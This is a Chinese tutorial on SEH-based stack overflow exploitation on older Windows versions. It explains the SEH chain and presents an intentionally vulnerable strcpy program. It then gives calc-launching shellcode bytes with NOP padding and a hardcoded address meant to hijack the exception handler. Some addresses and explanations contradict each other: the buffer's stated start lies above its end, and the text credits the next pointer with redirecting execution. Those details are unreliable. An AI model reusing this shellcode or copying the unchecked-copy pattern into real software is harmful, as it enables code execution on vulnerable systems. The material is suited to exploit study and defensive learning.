本文主要介绍利用SEH来实现栈溢出

OS: Windows XP SP2, Window 7,Windows 2000

Tools:Ollydbg、IDA pro、AsmToE(汇编转机器码)、010Editor、VC6.0、Xcode、Windbg、VS7.0

S.E.H

Structture Exception Handler: 异常处理结构体。它是windows异常处理机制所采用的重要数据结构。

每个S.E.H包含两个DWORD指针:SEH链表指针和异常处理函数句柄,共8个字节。

简单点就是,多个SEH是用链表串起来的,因此每个SEH都包含当前的Exception handler和一个next指针

  1. SEH结构体存放在系统栈中
  2. 当线程初始化时,会自动向栈中安装一个SEH作为线程默认的异常处理
  3. 如果程序员代码中使用了__try{}__except{}或者Assert宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个SEH来实现异常处理
  4. 栈中一般同时会存在多个SEH
  5. 栈中的多个SEH通过链表指针在栈内由栈顶向栈底串成单项链表,位于链表最顶端的SEH通过TEB(线程环境块)0字节偏移处的指针标识
  6. 当异常发生时,操作系统会中断程序,并首先从TEB的0字节偏移处取出距离栈顶最近的S.E.H,使用异常处理函数句柄所指向的代码来处理异常。
  7. 当离“事故现场”最近的异常处理函数运行失败时,将顺着SEH链依次尝试其他的异常处理函数
  8. 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框然后强制关闭程序。

攻击

从上面的定义我们不难看出,SEH是存放在栈里的。这也就说明,如果发生栈溢出,那么溢出的代码是可以覆盖掉SEH的入口地址的。而此时只要我们再手动触发一下目标异常,就能跳转到Shellcode了

下图是函数调用时栈内的情况,如果在程序中设置了try-except,那么SEH节点会更多

栈布局
局部变量
security_cookie : gs校验码,操作系统用于检测是否有溢出,需要操作系统支持且编译时开启
入栈寄存器
SEH节点
返回地址
函数参数
虚函数表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <windows.h>


char shellcode[] = "";
void HackExceptionHandler()
{
printf("got an exception, press Enter to kill process\n");
getchar();
ExitProcess(1);
}


void test(char* input)
{
char buf[200];
int zero = 0;

__try
{
strcpy(buf, input);
zero = 4 / zero;
}
__except(HackExceptionHandler())
{

}
}

int main()
{
test(shellcode);
return 0;
}

拖入ollydbg动态调试,选择View下的SEH chain选项,就能看到当前栈中的SEH表的情况。

seh chain

从图中能看出,0012FF18是离栈顶最近的SEH。

接着我们在调试的栈窗口看到的数据也能验证我们的想法:

seh stack

地址0012ff1c的位置已经被OD自动标记为了SEhandler,address-4就是它的next指针所处的位置,与SEH chain中看到的数据一样。

另外,从上图的stack布局能看出来,buf的起始地址为12FF40,最终地址为0012FF0C,局部变量zero的位置是12FF10,只要我们能够覆盖buf到12FF18,让它指向shellcode,那么在发生异常时,就会执行到恶意代码。

因此,构造shellcode如下:

1
2
3
4
5
6
7
8
char shellcode[] = 
// 下面是弹出计算器的shellcode
"\x83\xEC\x40\x33\xDB\x53\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x8B\xC4\x53\x50\xB9\x4D"
"\x11\x86\x7C\x8B\xC1\xFF\xD0\x33\xDB\x53\xB8"
"\xA2\xCA\x81\x7C\x8B\xC0\xFF\xD0"
"\x90....."//使用90填充剩下的空间
"\x40\xFF\x12\x00" // 指向buf的起始地址,这一行会覆盖掉SEH的next指针

小结

以上就是SEH的攻击方法,因为SEH本身就放在栈中,那么发生缓冲区溢出时攻击者是一定能控制SEH的next的,这也让SEH的攻击成为了栈溢出的一种经典方法。